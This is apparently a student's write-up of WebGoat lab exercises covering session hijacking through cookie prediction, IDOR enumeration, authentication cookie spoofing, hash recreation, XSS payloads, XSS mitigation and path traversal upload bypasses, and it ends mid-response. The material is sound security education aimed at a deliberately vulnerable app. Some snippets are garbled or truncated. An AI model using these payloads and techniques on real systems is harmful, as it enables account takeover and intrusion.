

Network Security - Exercise #2


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Broken Access Control:

Hijack a session:

In this lesson, we will try to predict the 'hijack_cookie' value. The 'hijack_cookie' is used to differentiate authenticated and anonymous users of WebGoat. At first, we encounter the login page:



The image shows a web form titled "Account Access". It contains two input fields: "User name" with a person icon and "Password" with a lock icon. Below these fields is a blue button labeled "Access".

Let's try to access without typing in any credentials and see what happens.

As can be seen below, we received a 'hijack_cookie' with the server's response:

```
HTTP/1.1 200 OK
Connection: keep-alive
Set-Cookie: hijack_cookie=2571784279734752371-1720693956188; path=/WebGoat; secure
Content-Type: application/json
Date: Thu, 11 Jul 2024 10:32:36 GMT
Content-Length: 192

{
  "lessonCompleted": false,
  "feedback": "Sorry the solution is not correct, please try again.",
  "output": null,
  "assignment": "HijackSessionAssignment",
  "attemptWasMade": true
}
```

The 'hijack_cookie' we received looks like this:

2571784279734752371-1720693956188.

It seems like the left part of the cookie is some kind of sequential number, and the right part of the cookie is a unix epoch time.

We are using Burp Suite as our web application security testing tool. Let's take the server's response and pass it to the Burp sequencer in order to analyze the randomness of the cookie pattern and generate possible cookies.

After, passing the response to the sequencer, it generated a sequence of tokens (This is only a small part of the tokens):

```
2571784279734752372-1720693972470
2571784279734752373-1720693972472
2571784279734752375-1720693972472
2571784279734752376-1720693972474
2571784279734752377-1720693972476
2571784279734752379-1720693972516
2571784279734752380-1720693972560
2571784279734752381-1720693972599
2571784279734752382-1720693972609
2571784279734752383-1720693972611
2571784279734752384-1720693972625
2571784279734752385-1720693972628
```

As we can see, there is a pattern of sequence numbers and timestamps. Let's sort the sequences and try to find a gap between 2 sequence numbers. Specifically here, we can see that there is a missing sequence number:

```
2571784279734752440-1720693973216
2571784279734752442-1720693973222
```

Which is 2571784279734752441-1720693973216.

Let's try to attack with this sequence number with the timestamps that in the interval of the two timestamps above.

We get those responses:

```
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/json
Date: Thu, 11 Jul 2024 09:35:05 GMT
Content-Length: 192

{
  "lessonCompleted":false,
  "feedback":"Sorry the solution is not correct, please try again.",
  "output":null,
  "assignment":"HijackSessionAssignment",
  "attemptWasMade":true
}
```

Seems like that didn't work. Let's try another attempt with a different gap.

```
2571784279734752615-1720693974824
2571784279734752617-1720693974844
```

Here is another gap we found. Let's try to send requests with cookie seq' number 2571784279734752616 with timestamp interval 1720693974824-44 and see what happens:

```
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/json
Date: Thu, 11 Jul 2024 10:52:01 GMT
Content-Length: 203

{
  "lessonCompleted":true,
  "feedback":"Congratulations. You have successfully completed the assignment.",
  "output":null,
  "assignment":"HijackSessionAssignment",
  "attemptWasMade":true
}
```

And as we can see, we successfully hijacked a cookie session.

Direct Object References

Direct Object References are when an application uses client-provided input to access data & objects.

Examples of Direct Object References using the GET method may look something like

<https://some.company.tld/dor?id=12345>

<https://some.company.tld/images?img=12345>

<https://some.company.tld/dor/12345>

POST, PUT, DELETE or other methods are also potentially susceptible and mainly only differ in the method and the potential payload.

the first step was to just log in to tom account using his password cat

Authenticate First, Abuse Authorization Later

Many access control issues are susceptible to attack from an authenticated-but-unauthorized user. So, let's start by legitimately authenticating. Then, we will look for ways to bypass or abuse Authorization.

The id and password for the account in this case are 'tom' and 'cat' (It is an insecure app, right?).

After authenticating, proceed to the next screen.

☒ user/pass user pass

You are now logged in as tom. Please proceed.

for the second step we need to list the two attributes that are in the server's response, but don't show above in the profile. Again we will use burp suite for this task :

1) click on view Profile

Observing Differences & Behaviors

A consistent principle from the offensive side of AppSec is to view differences from the raw response to what is visible. In other words (as you may have already noted in the client-side filtering lesson), there is often data in the raw response that doesn't show up on the screen/page. View the profile below and take note of the differences.

View Profile

In the text input below, list the two attributes that are in the server's response, but don't show above in the profile.

View Profile

name:Tom Cat
color:yellow
size:small

when we will go to burp we can intercept the request

```
1 GET /WebGoat/IDOR/profile HTTP/1.1
2 Host: localhost:8080
3 sec-ch-ua: "Not(A)Brand";v="8",
  "Chromium";v="126"
4 Accept-Language: en-US
5 sec-ch-ua-mobile: ?0
6 User-Agent: Mozilla/5.0 (Windows NT 10.0;
  Win64; x64) AppleWebKit/537.36 (KHTML, like
  Gecko) Chrome/126.0.6478.127 Safari/537.36
7 Content-Type: application/json; charset=UTF-8
8 Accept: */*
9 X-Requested-With: XMLHttpRequest
10 sec-ch-ua-platform: "macOS"
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: cors
13 Sec-Fetch-Dest: empty
14 Referer:
  http://localhost:8080/WebGoat/start.mvc?usern
  ame=saarazari
15 Accept-Encoding: gzip, deflate, br
16 Cookie: JSESSIONID=
  4wdAZRRuqSV7jTo8oVrA5cpDPrGsdTu3Ebd1V2-T;
  hijack_cookie=
  1635892820320073689-1720692490524
17 Connection: keep-alive
18
```

we can assume this is our request by seeing the type of request `GET` and the fact that the endpoint is `profile` which match the website UI.

let's send the request to the repeater and send it again, while monitoring the response:

1 GET /WebGoat/IDOR/profile HTTP/1.1	1 HTTP/1.1 200 OK
2 Host: localhost:8080	2 Connection: keep-alive
3 sec-ch-ua: "Not(A)Brand";v="8", "Chromium";v="126"	3 Content-Type: application/json
4 Accept-Language: en-US	4 Date: Thu, 11 Jul 2024 10:59:21
5 sec-ch-ua-mobile: ?0	5 GMT
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)	5 Content-Length: 104
AppleWebKit/537.36 (KHTML, like Gecko)	6 {
Chrome/126.0.6478.127 Safari/537.36	7
Content-Type: application/json; charset=UTF-8	8
Accept: */*	9
X-Requested-With: XMLHttpRequest	10
sec-ch-ua-platform: "macOS"	11
Sec-Fetch-Site: same-origin	12
Sec-Fetch-Mode: cors	13
Sec-Fetch-Dest: empty	
Referer:	
http://localhost:8080/WebGoat/start.mvc?username=saarazari	
Accept-Encoding: gzip, deflate, br	
Cookie: JSESSIONID=	
4wdAZRRuqSV7jTo8oVrA5cpDPrGsdTu3Ebd1V2-T; hijack_cookie=	
1635892820320073689-1720692490524	
Connection: keep-alive	
18	

we can see two new attributes:

1. `role` with a value of 3
2. `userId` with a value of 2342384

The application we are working with seems to follow a RESTful pattern so far as the profile goes. Many apps have roles in which an elevated user may access content of another. In that case, just /profile won't work since the own user's session/authentication data won't tell us whose profile they want view. So, what do you think is a likely pattern to view your own profile explicitly using a direct object reference?

Please input the alternate path to the Url to view your own profile. Please start with 'WebGoat' (i.e. disregard 'http://localhost:8080/')

WebGoat/

in this part we will use the knowledge we have so far:

- 1) the endpoint is `WebGoat/IDOR/profile`
- 2) we can pass params for `GET` in the URL.
- 3) the userId for tom is 2342384

therefore we shall put `WebGoat/IDOR/profile/2342384` in the input area and submit the form.



Please input the alternate path to the Url to view your own profile. Please start with 'WebGoat' (i.e. disregard 'http://localhost:8080/')

WebGoat/

Congratulations, you have used the alternate Url/route to view your own profile.

`{role=3, color=yellow, size=small, name=Tom Cat, userId=2342384}`

now for part 4:

Playing with the Patterns

View Another Profile

View someone else's profile by using the alternate path you already used to view your own profile. Use the 'View Profile' button and intercept/modify the request to view another profile. Alternatively, you may also just be able to use a manual GET request with your browser.

Edit Another Profile

Older apps may follow different patterns, but RESTful apps (which is what's going on here) often just change methods (and include a body or not) to perform different functions.

Use that knowledge to take the same base request, change its method, path and body (payload) to modify another user's (Buffalo Bill's) profile. Change the role to something lower (since higher privilege roles and users are usually lower numbers). Also change the user's color to 'red'.

we know how to request user information base on `userId` but we dont know any ids beside Tom.

we will send the request to the intruder

Choose an attack type

Attack type: Sniper Start attack

Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: ☒ Update Host header to match target

Add § Clear § Auto § Refresh

```

1 GET /WebGoat/IDOR/profile HTTP/1.1
2 Host: localhost:8080
3 sec-ch-ua: "Not(A)Brand";v="8", "Chromium";v="126"
4 Accept-Language: en-US
5 sec-ch-ua-mobile: ?0
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127
  Safari/537.36
7 Content-Type: application/json; charset=UTF-8
8 Accept: */*
9 X-Requested-With: XMLHttpRequest
10 sec-ch-ua-platform: "macOS"
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: cors
13 Sec-Fetch-Dest: empty
14 Referer: http://localhost:8080/WebGoat/start.mvc?username=saarazari
15 Accept-Encoding: gzip, deflate, br
16 Cookie: JSESSIONID=4wdAZRRuq5V7JT08oVrA5cpBPrGsdTu3EbdlV2-T;
  hijack_cookie=1635892820873689-1720692490524
17 Connection: keep-alive
18
19

```

Search 0 highlights Clear

now, add Tom user ID to the request and “snake” it

```

1 GET /WebGoat/IDOR/profile/$2342384$ HTTP/1.1
2 Host: localhost:8080
3 sec-ch-ua: "Not(A)Brand";v="8", "Chromium";v="126"
4 Accept-Language: en-US
5 sec-ch-ua-mobile: ?0
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127
  Safari/537.36
7 Content-Type: application/json; charset=UTF-8
8 Accept: */*
9 X-Requested-With: XMLHttpRequest
10 sec-ch-ua-platform: "macOS"
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: cors
13 Sec-Fetch-Dest: empty
14 Referer: http://localhost:8080/WebGoat/start.mvc?username=saarazari
15 Accept-Encoding: gzip, deflate, br
16 Cookie: JSESSIONID=4wdAZRRuq5V7JT08oVrA5cpBPrGsdTu3EbdlV2-T;
  hijack_cookie=1635892820873689-1720692490524
17 Connection: keep-alive
18
19

```

now lets call to the intruder while adding this payload:

Payload settings [Numbers]

RTFM Payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: ☒ Sequential ☐ Random

From:

To:

Step:

How many:

this will send 15 requests with incremental user id

Request	Payload	Status code	Response received	Error	Timeout	Length	Comment
0		200	19			383	
1	2342384	200	25			383	
2	2342385	200	25			314	
3	2342386	200	27			314	
4	2342387	200	26			314	
5	2342388	200	18			378	
6	2342389	200	27			314	
7	2342390	200	25			314	
8	2342391	200	37			314	
9	2342392	200	52			314	
10	2342393	200	31			314	
11	2342394	200	14			314	
12	2342395	200	26			314	
13	2342396	200	26			314	
14	2342397	200	30			314	
15	2342398	200	29			314	
16	2342399	200	27			314	

when iterating the responses we get success for id ..88:

Request	Payload	Status code	Response received	Error	Timeout	Length	Comment
0		200	19			383	
1	2342384	200	25			383	
2	2342385	200	25			314	
3	2342386	200	27			314	
4	2342387	200	26			314	
5	2342388	200	18			378	
6	2342389	200	27			314	
7	2342390	200	25			314	
8	2342391	200	37			314	
9	2342392	200	52			314	
10	2342393	200	31			314	
11	2342394	200	14			314	
12	2342395	200	26			314	
13	2342396	200	26			314	
14	2342397	200	30			314	
15	2342398	200	29			314	
16	2342399	200	27			314	

Request	Response
1	HTTP/1.1 200 OK
2	Connection: keep-alive
3	Content-Type: application/json
4	Date: Thu, 11 Jul 2024 11:28:02 GMT
5	Content-Length: 243
6	
7	{
8	"lessonCompleted":true,
9	"feedback":"Well done, you found someone else's profile",
10	"output":{"role=, color=brown, size=large, name=Buffalo Bill, userId=2342388)",
11	"assignment":"IDRCinOtherProfile",
12	"attemptWasMade":true
13	}

and we are done (-:

Spoofing an Authentication Cookie

Authentication cookies are used for services that require authentication. When a user logs in with a personal username and password, the server verifies the provided credentials. If they are valid, it creates a session.

Typically, each session is assigned a unique ID that identifies the user's session. When the server sends a response back to the user, it includes a "Set-Cookie" header that contains, among other things, the cookie name and value.

The authentication cookie is usually stored on both the client and server sides.

On one hand, storing the cookie on the client side means it can be susceptible to theft through exploiting certain vulnerabilities or interception via man-in-the-middle attacks or XSS. On the other hand, the cookie values can be guessed if the algorithm used to generate the cookie is obtained.

Many applications will automatically log in a user if the correct authentication cookie is provided.

goal:

The user should not be able to guess the cookie generation algorithm and bypass the authentication mechanism by logging in as a different user.

some notes added to the module:

- 1) When a valid authentication cookie is received, the system will automatically log in the user.
- 2) If a cookie is not sent, but the provided credentials are correct, the system will generate an authentication cookie.
- 3) Login attempts will be denied under any other circumstances.

for the first step we login as usual:

Goal

Once you have a clear understanding of how the authentication cookie is generated, attempt to *spoof* the cookie and log in as Tom.

Account Access

[Delete cookie](#)

we can see that the request being sent is

```
POST /WebGoat/SpoofCookie/login HTTP/1.1
Host: localhost:8080
Content-Length: 34
sec-ch-ua: "Not(A)Brand";v="8", "Chromium";v="126"
Accept-Language: en-US
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "macOS"
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc?username=saarazari
Accept-Encoding: gzip, deflate, br
Cookie: hijack_cookie=1635892820320073689-1720692490524; JSESSIONID=
NXC-ib_314U84e3nZjWRnylTJqz598h2UNGHTng2
Connection: keep-alive

username=saarazari&password=123456
```

we can see that the endpoint is of the form `WebGoat/SpoofCookie/login`

now let's send the request to the repeater and use the login credential provided for us

user name	password
-----------	----------

webgoat	webgoat
---------	---------

admin	admin
-------	-------

lets repeat the request with `webgoat:webgoat` the username:password

```
1 HTTP/1.1 200 OK
2 Connection: keep-alive
3 Set-Cookie: spoof_auth=
"Nmq1NzVhNzE1NjU5NDk1OTRlNzQ3NDYxNmY2NzYyNjU3Nw=="; Version=1;
Path=/WebGoat; Discard; Secure
4 Content-Type: application/json
5 Date: Thu, 11 Jul 2024 12:26:59 GMT
6 Content-Length: 291
7
8 {
9   "lessonCompleted":false,
10  "feedback":
11    "Logged in using credentials. Cookie created, see below.",
12  "output":
13    "Cookie details for user webgoat:<br \\/>spoof_auth=Nmq1NzVhNzE1NjU5NDk1OTRlNzQ3NDYxNmY2NzYyNjU3Nw==",
14  "assignment":"SpoofCookieAssignment",
15  "attemptWasMade":false
16 }
```

as mentioned in the details of the module if no cookie is provided, one will be created. we can see that one was created for us:

```
Nmq1NzVhNzE1NjU5NDk1OTRlNzQ3NDYxNmY2NzYyNjU3Nw==
```

lets do the same for `admin:admin` :

```
HTTP/1.1 200 OK
Connection: keep-alive
Set-Cookie: spoof_auth=NmQ1NzVhNzE1NjU5NDk1OTRlNzQ2ZTY5NmQ2NDYx; path=/WebGoat; secure
Content-Type: application/json
Date: Thu, 11 Jul 2024 12:29:14 GMT
Content-Length: 281

{
  "lessonCompleted" : false,
  "feedback" : "Logged in using credentials. Cookie created, see below.",
  "output" : "Cookie details for user admin:<br \\/>spoof_auth=NmQ1NzVhNzE1NjU5NDk1OTRlNzQ2ZTY5NmQ2NDYx",
  "assignment" : "SpoofCookieAssignment",
  "attemptWasMade" : false
}
```

here the cookie that was created `NmQ1NzVhNzE1NjU5NDk1OTRlNzQ2ZTY5NmQ2NDYx`

when examining both the cookie provided next to each other we can see similar patterns and notice that they follow base64 encoding patterns.

when decoding one of them from base64 format we can see a hex value decoded string

Decode from Base64 format


Simply enter your data then push the decode button.



NmQ1NzVhNzE1NjU5NDk1OTRlNzQ3NDYxNmY2NzYyNjU3Nw==

 For encoded binaries (like images, documents, etc.) use the file upload form a little further down on this page.

UTF-8  Source character set.


☐ Decode each line separately (useful for when you have multiple entries).

 Live mode OFF Decodes in real-time as you type or paste (supports only the UTF-8 character set).

 **DECODE**  Decodes your data into the area below.

6d 57 5a 71 56 59 49 59 4e 74 74 61 6f 67 62 65 77

when decoding the hex value to strings we get




and notice in the text that when reversing the string we get a prefix of `webgoat`.

we can replace the name `webgoat` with the username we want `tom` for example and we get



when encoding the hex (without spaces) we get `NmQ1NzVhNzE1NjU5NDk1OTR1NzQ2ZDZmNzQ=`

send the cookie as a header and we get logged in even without the right credentials



Missing Function Level Access Control:

In this lesson we're given an HTML page:

The screenshot shows a web form titled 'WebGoat' with a navigation bar containing 'Account' and 'Messages' dropdown menus. Below the navigation bar, there are two input fields labeled 'Hidden item 1' and 'Hidden item 2'. At the bottom of the form is a 'Submit' button.

And we're required to find 2 hidden items within the page. Let's start by inspecting the page's elements.

In the navigation bar element, we found 3 list elements which the last of them is called "hidden-menu-item dropdown":

```
<ul class="nav navbar-nav"> == $0
  :before
  <li class="dropdown"> ... </li>
  <li class="dropdown"> ... </li>
  <li class="hidden-menu-item dropdown"> ... </li>
```

Seems we're on the right track, let's explore further.

When we expand the dropdown element, we can see that it contains 3 list elements:

1. "Users".
2. "Users".
3. "Config".

So, our guess will be that the two hidden items in the page are "Users" and "Config". Let's try to submit this answer:

The screenshot shows the same web form as before, but now the 'Hidden item 1' field contains the text 'Users' and the 'Hidden item 2' field contains the text 'Config'. A green checkmark is visible next to the 'Hidden item 1' field. Below the form, a message reads: 'Correct! And not hard to find are they??? One of these urls will be helpful in the next lab.'

And we successfully managed to find the 2 hidden items.

In the next lesson, we're given an HTML page:

The screenshot shows a web form titled 'Your Hash:' with a single input field. Below the input field is a 'Submit' button.


Here, we need to pull the list of users and provide Jerry's hash.

First, let's try to simply submit the form and take a look at the request:


```
POST /WebGoat/access-control/user-hash HTTP/1.1
Host: localhost:8080
Content-Length: 9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8080
Referer: http://localhost:8080/WebGoat/start.mvc?username=ariel97
Cookie: JSESSIONID=De6boQo6r-BugiMojGLiqbDXwm4NH6A8sePu12NQ; hijack_cookie=
2571784279734752371-1720693956188
Connection: keep-alive

userHash=
```


We recall the 2 hidden fields in the previous lesson, so we'll try to send the request with the "users" endpoint and see what happens:



We got a response status of 415, which means an unsupported media type. Maybe we should modify the content-type attribute in our request. Let's change the content type of the request to "application/json" and see what happens:



We get a "Bad Request" response. It's probably because we send a POST request, which requires information in the request's body. So, instead of sending POST request, we'll send it as a GET request:



Seems like we got the response we desired: Jerry's username along with its hash. Let's copy that and try to submit the form:



We succeeded in pulling the list of users and obtaining Jerry's hash.

In the next lesson, the request with the endpoint won't work anymore. However, luckily we have access to the source code of WebGoat.

Here is the method that processes the submission:

```
@PostMapping(
    path = "/access-control/user-hash-fix",
    produces = {"application/json"})
@ResponseBody
public AttackResult admin(String userHash) {
    // current user should be in the DB
    // if not admin then return 403

    var user = userRepository.findByUsername("Jerry");
    var displayUser = new DisplayUser(user, PASSWORD_SALT_ADMIN);
    if (userHash.equals(displayUser.getUserHash())) {
        return success(this).feedback("access-control.hash.success").build();
    } else {
        return failed(this).feedback("access-control.hash.close").build();
    }
}
```

We can see that it grabs Jerry's user and compares the hash that we submit to the hash of Jerry's password.

Here, we can see the salts for lessons 2-3:

```
public static final String PASSWORD_SALT_SIMPLE = "DeliberatelyInsecure1234";
public static final String PASSWORD_SALT_ADMIN = "DeliberatelyInsecure1235";
```

And here, we can see how WebGoat use these salts to encrypt the password:

```
public DisplayUser(User user, String passwordSalt) {
    this.username = user.getUsername();
    this.admin = user.isAdmin();

    try {
        this.userHash = genUserHash(user.getUsername(), user.getPassword(), passwordSalt);
    } catch (Exception ex) {
        this.userHash = "Error generating user hash";
    }
}

protected String genUserHash(String username, String password, String passwordSalt)
    throws Exception {
    MessageDigest md = MessageDigest.getInstance("SHA-256");
    // salting is good, but static & too predictable ... short too for a salt
    String salted = password + passwordSalt + username;
    // md.update(salted.getBytes("UTF-8")); // Change this to "UTF-16" if needed
    byte[] hash = md.digest(salted.getBytes(StandardCharsets.UTF_8));
    return Base64.getEncoder().encodeToString(hash);
}
}
```

Here is the sql file where Jerry's credentials are located:

```
INSERT INTO access_control_users VALUES ('Tom', 'qwertyqwerty1234', false);
INSERT INTO access_control_users VALUES ('Jerry', 'doesnotreallymatter', true);
INSERT INTO access_control_users VALUES ('Sylvester', 'testtesttest', false);
```

All that's left to is write a script that recreates the encryption process:

```
import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Base64;

public class Main {
    public static void main(String[] args) {
        String password = "doesnotreallymatter";
        String username = "Jerry";
        String weakSalt = "DeliberatelyInsecure1234";
        String strongSalt = "DeliberatelyInsecure1235";

        try {
            MessageDigest md = MessageDigest.getInstance("SHA-256");
            String salted = password + weakSalt + username;
            byte[] hash = md.digest(salted.getBytes(StandardCharsets.UTF_8));
            System.out.println(Base64.getEncoder().encodeToString(hash));

        } catch (Error e) {

        } catch (NoSuchAlgorithmException e) {
            throw new RuntimeException(e);
        }
    }
}
```

First, let's test with the weak salt to see if we can generate the hash of the previous lesson:

```
java -cp /tmp/td5H16Mx2k/Main
SVt0laa+ER+w2eoIIVE5/77umvhcsh5V8UyDLUa1Itg=

=== Code Execution Successful ===
```

Yes, it worked.

Now, all that's left to do is replace the weak salt with the strong salt and repeat the process:

```
String salted = password + strongSalt + username;
```

We get this output:

```
java -cp /tmp/FuYBMX5p2E/Main
d4T2ahJN4fWP83s9JdLISio7Auh4mWhFT1Q38S60ewM=

=== Code Execution Successful ===
```

Let's try to submit it and see what happens:

☒

Your Hash:

Congrats! You really succeeded when you added the user.

And we successfully completed the 4th lesson.

Injection:

Cross Site Scripting:

In the first lesson, we're given this HTML page:

Shopping Cart

Shopping Cart Items -- To Buy Now	Price	Quantity	Total
Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry	69.99	<input type="text" value="1"/>	\$0.00
Dynex - Traditional Notebook Case	27.99	<input type="text" value="1"/>	\$0.00
Hewlett-Packard - Pavilion Notebook with Intel Centrino	1599.99	<input type="text" value="1"/>	\$0.00
3 - Year Performance Service Plan \$1000 and Over	299.99	<input type="text" value="1"/>	\$0.00

Enter your credit card number:

Enter your three digit access code:

And we're required to find the vulnerable field in the form using the alert() method. For the first attempt, let's try to simply submit the form and see what happens:

Enter your credit card number:

Enter your three digit access code:

Try again. We do want to see a specific JavaScript mentioned in the goal of the assignment (in case you are trying to do something fancier).

Thank you for shopping at WebGoat.


Your support is appreciated

\$1997.96

We can see in the image above that after submitting the form, the credit card info we typed is displayed back to us. Seems like the credit card field is the vulnerable field. Let's try injecting to it the following script tag:

```
<script>alert('YOU ARE EXPOSED!!!')</script>
```


And observe what happens:




And we're done!

In the next lesson, we're required to identify potential for DOM-Based XSS. We need to find the route for the test code that stayed in the app during production.

We'll start with opening the developer tool in the browser and we'll take a look at the sources tab:




If we dive deeper into the source files of the page, we can see that there is a file named GoatRouter.js:




In this file, there is a JSON object named routes, and it has the route "test/:param" which is redirected to a function named "testRoute":



So, let's scroll all the way down to "testRoute" function and see what it does:



So basically, we can see that there is a test/:param route which call a testRoute(param), so the parameter is passed to the lesson controller. Let's try surfing to this url and see what result we get:



We can conclude that any input that passed after “test/” will be reflected back to the page, so the route is “start.mvc#test/”.



And we're done


In the next lesson, we're required to execute a JS function by injecting the payload for running `webgoat.customjs.phoneHome()` in the URL. So, first we take the function `webgoat.customjs.phoneHome()` and surround it with script tags:

```
<script>webgoat.customjs.phoneHome()</script>
```

Next, we take this entire string and pass it to Burp so it will encode it as a URL:



Now, we take the encoded URL and pass it after the test route, let's see the response we got:



Seems like we made it. All that is left is to pass the number in the response and submit it:



And we're done!

Cross Site Scripting (stored):

In this lesson, we're given a comment section page and our task is to inject through a comment a JS code that calls the `webgoat.customjs.phoneHome()` function. Let's try to simply inject the call to the function surrounded with script tags:



```
<script>webgoat.customjs.phoneHome()</script>
```

Let's take a look at the server's response:

```
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/json
Date: Thu, 11 Jul 2024 15:00:34 GMT
Content-Length: 231

{
  "lessonCompleted":true,
  "feedback":
  "Congratulations. You have successfully completed the assignment.",
  "output":"phoneHome Response is -727241747",
  "assignment":"DOMCrossSiteScripting",
  "attemptWasMade":true
}
```

As can be seen in the server's response, we successfully injected the JS code. All that is left to do is to paste the number in the response and submit it:

✓

Yes, that is the correct value (note, it will be a different

And we're done!

Cross Site Scripting (mitigation):

In the first lesson we're given a JSP file and we're suppose to prevent Reflecting XSS by escaping the URL parameters:

```
<html>
<head>
  <title>Using GET and POST Method to Read Form Data</title>
</head>
<body>
  <h1>Using POST Method to Read Form Data</h1>
  <table>
    <tbody>
      <tr>
        <td><b>First Name:</b></td>
        <td>YOUR CODE HERE</td>
      </tr>
      <tr>
        <td><b>Last Name:</b></td>
        <td>YOUR CODE HERE</td>
      </tr>
    </tbody>
  </table>
</body>
</html>
```

We'll try to encode the user's input right before we place it in the HTML document. We'll make use of the JavaServer Pages Standard Tag Library (JSTL) and JSP expression language.

We will be using OWASP Java Encoder Project to mitigate XSS vulnerabilities. We'll begin with declaring the use of a tag library with taglib in the JSP file.

```
<%@ taglib uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" prefix="e" %>
```


We'll encode the `first_name` and `last_name` parameters using the OWASP Java Encoder, and then we'll display them:

```
<%@ taglib uri="https://www.owasp.org/index.php/OWASP_Java_Encoder_Project" prefix="e" %>
<html>
<head>
  <title>Using GET and POST Method to Read Form Data</title>
</head>
<body>
  <h1>Using POST Method to Read Form Data</h1>
  <table>
    <tbody>
      <tr>
        <td><b>First Name:</b></td>
        <td>${e:forHtml(param.first_name)}</td>
      </tr>
      <tr>
        <td><b>Last Name:</b></td>
        <td>${e:forHtml(param.last_name)}</td>
      </tr>
    </tbody>
  </table>
</body>
</html>
```

And we're done!

In the next lesson, we're given a java class that saves a comment into a database:

```
public class MyCommentDAO {

    public static void addComment(int threadID, int userID, String newComment) {

        String sql = "INSERT INTO COMMENTS(THREADID, USERID, COMMENT) VALUES(?,?,?);";
        try {
            PreparedStatement stmt = connection.prepareStatement(sql);
            stmt.setInt(1, threadID);
            stmt.setInt(2, userID);
            stmt.setString(3, newComment);
            stmt.executeUpdate();
        } catch (SQLException e) {
            e.printStackTrace();
        }
    }
}
```

And, we're also given a java class that uses the `addcomment()` function:

```
import org.owasp.validator.html.*;
import MyCommentDAO;

public class AntiSamyController {
    ...
    public void saveNewComment(int threadID, int userID, String newComment){
        MyCommentDAO.addComment(threadID, userID, newComment);
    }
    ...
}
```

Our task is to prevent Stored XSS by creating a clean string inside the `saveNewComment()` function. We'll use the "antisamy-slashdot.xml" as a policy file:

```
import org.owasp.validator.html.*;
import MyCommentDAO;

public class AntiSamyController {
    public void saveNewComment(int threadID, int userID, String newComment) {
        Policy p = Policy.getInstance("antisamy-slashdot.xml");
```

And we're done!

In this lesson, our task is to **overwrite** a specific file in the file system.

First, we'll try to upload a file and intercept the request with Burp.

After uploading and sending, the request looks like this:

This is the part part of the request we'll be focusing on:

We'll add `../` before `test` and send the request:

We received this response:

Which means we successfully performed the task!

In the next lesson, the developer became aware of the vulnerability and implemented a fix that removed the `../../../../` from the input. Again, we'll upload the image and intercept the request with Burp. We'll to bypass the fix by putting

`../../../../test`:

```
-----WebKitFormBoundaryDackMtinZBsArpN
Content-Disposition: form-data; name="fullNameFix"

../../../../test
-----WebKitFormBoundaryDackMtinZBsArpN
Content-Disposition: form-data; name="emailFix"

test@test.com
-----WebKitFormBoundaryDackMtinZBsArpN
Content-Disposition: form-data; name="passwordFix"

test
-----WebKitFormBoundaryDackMtinZBsArpN--
```

We look at the server's response:

```
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/json
Date: Thu, 11 Jul 2024 16:21:06 GMT
Content-Length: 196

{
  "lessonCompleted":true,
  "feedback":
    "Congratulations. You have successfully completed the assignment.",
  "output":null,
  "assignment":"ProfileUploadFix",
  "attemptWasMade":true
}
```

And we can see that we successfully bypassed the fix

In the next lesson, the developer implemented another fix. We're gonna bypass it...

Like before, we'll upload the image and intercept the request:

Request

Line	Content
3	Content-Length: 51421
7	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
8	Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBxdJMyqNwEqKNCrZ
12	Origin: http://localhost:8080
16	Referer: http://localhost:8080/WebGoat/start.mvc?username=ariel97
18	Cookie: JSESSIONID=De6boQo6r-Bug!MoJGLiqbDXm4NH6ABsePu12NQ; hijack_cookie=2571784279734752371-1720693956188
19	Connection: keep-alive
20	-----WebKitFormBoundaryBxdJMyqNwEqKNCrZ
21	Content-Disposition: form-data; name="uploadedFileRemoveUserInput";
22	filename="Screenshot_2024-07-11 190222.png"
23	Content-Type: image/png
24	@PNG
25	

We can see that the file name is taken directly from the name of the file passed to the web app.

We can manipulate the request by adding

`../../../../` before the file name:

Request

Line	Content
1	POST /WebGoat/PathTraversal/profile-upload-remove-user-input HTTP/1.1
2	Host: localhost:8080
3	Content-Length: 51424
7	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
8	Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBxdJMyqNwEqKNCrZ
12	Origin: http://localhost:8080
16	Referer: http://localhost:8080/WebGoat/start.mvc?username=ariel97
18	Cookie: JSESSIONID=De6boQo6r-Bug!MoJGLiqbDXm4NH6ABsePu12NQ; hijack_cookie=2571784279734752371-1720693956188
19	Connection: keep-alive
20	-----WebKitFormBoundaryBxdJMyqNwEqKNCrZ
21	Content-Disposition: form-data; name="uploadedFileRemoveUserInput";
22	filename="../../Screenshot_2024-07-11 190222.png"
23	Content-Type: image/png
24	@PNG
25	

Once again, we look at the server's response:

```
HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: application/json
